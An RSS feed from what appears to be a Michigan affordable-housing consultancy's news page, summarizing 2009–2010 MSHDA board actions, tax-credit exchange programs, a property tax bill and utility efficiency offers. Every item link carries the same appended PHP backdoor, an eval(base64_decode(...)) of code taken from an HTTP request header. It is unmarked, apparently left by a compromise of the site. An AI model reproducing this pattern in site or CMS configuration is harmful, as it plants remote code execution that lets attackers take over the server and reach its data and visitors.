http://www.parmentergroup.com/news Tue, 23 Feb 2010 14:08:45 +0000 http://backend.userland.com/rss092 en We are watching this bill which will amend Section 7d of the General Property Tax Act that provides for a tax exemption for housing owned and operated by a nonprofit entity, the State, or a local unit of government where the housing is solely for occupancy by ... http://www.parmentergroup.com/news/2010/02/23/senate-bill-887-amends-general-property-tax-act/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Ex. Dir. Keith Molin reported that Chairman Bernie Glieberman resigned his board position effective 12/28/2009.  Mr. Molin expect that a new appointee to fill the vacancy will be in place by the next Board meeting in February. Mr. Molin reported that he will have a response to the Denny ... http://www.parmentergroup.com/news/2010/02/23/mshda-board-meeting-report-for-1272010/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The MSHDA Board met for the last time in 2009 without the Board Chair, Bernie Glieberman, who was reported to be "on leave".  The Board took action approving a massive re-underwriting of its Single Family Bond portfolio that is being financed, in part, by the U.S. Treasury.  It approved 4 multi-family ... http://www.parmentergroup.com/news/2009/12/17/mshda-board-meeting-12162009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The Lansing State Journal reported on 11/27/2009 that the Great Lakes Capital Fund is offering buyouts to some of its employees to cut costs.  According to the LSJ article the Cap Fund hopes to save $1.2 - $1.4 million or about 20% of its overhead costs over the next 12 months.  In ... http://www.parmentergroup.com/news/2009/11/29/great-lakes-cap-fund-announces-buy-outs/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ MSHDA  took the following action at its board meeting last week: 1.  Approved through another delegated authority process 8 projects participating in the 9% Exchange Program and three participating in the 9% Equity Support Program. 2.  Approved changes in the 9% Equity Support Program increasing the pricing support by 10 cents to 35 ... http://www.parmentergroup.com/news/2009/11/22/mshda-board-action-11182009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ DTE and Consumers Power are offering to install, free of charge, energy efficient light bulbs in apartment units - up to 8 per unit.  Other energy efficiency upgrades that they will install are:  low flow shower heads, low flow faucet aerators, pipe wrapping for individual hot water heaters.  They will also ... http://www.parmentergroup.com/news/2009/11/17/dte-consumers-offer-10-million-energy-efficiency-upgrades/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ MSHDA met on 10-28-09 and took the following actions: 1.  Authorized the Executive Director to grant TCAP and/or 1602 loans to 8 projects - LaVogue, St. Aubin Sq., Gadenview IIA & IIB, Oakland Place, Goodrich Apartments, and Ballentine Apartments.  2.  Besides this delegated authority granted to the Executive Director, MSHDA approved the ... http://www.parmentergroup.com/news/2009/11/17/mshda-board-meeting-10-28-09-action/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The MSHDA Board met this month and took the following actions of interest: 1.  Approved feasibility and loan commitment for Patterson Crossing a 56 family unit preservation project in Frankfort.  Funding for the project comes from Section 1602 funds, LIHTC, MSHDA and RD mortgages. 2.  Approved feasibility and loan commitment for Gateway ... http://www.parmentergroup.com/news/2009/09/28/mshda-board-meeting-9-23-2009/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ On 7/17/09 MSHDA published its list of applications for LIHTC Exchange funds.  This list represents the total universe of potential "monetized" deals that would be processed on the US Treasury's 1602 program.  Total amount of returned credit is $201,971,968. See the entire list at:  http://www.michigan.gov/documents/mshda/MSHDA-Recovery-TaxCreditExchangeProgramApplicants7.19.09_286395_7.pdf http://www.parmentergroup.com/news/2009/07/25/mshda-publishes-list-of-lihtc-9-exchange-applications/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ The MSHDA Board met on 7/22/2009.  Executive Director, Keith Molin, gave a report on the status of its NSP2 Grant Application.  The Application was submitted on behalf of a consortium of local communities and land banks.  The total amount of the Application is $290 Million.  A copy of the application ... http://www.parmentergroup.com/news/2009/07/25/mshda-board-meeting-report/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/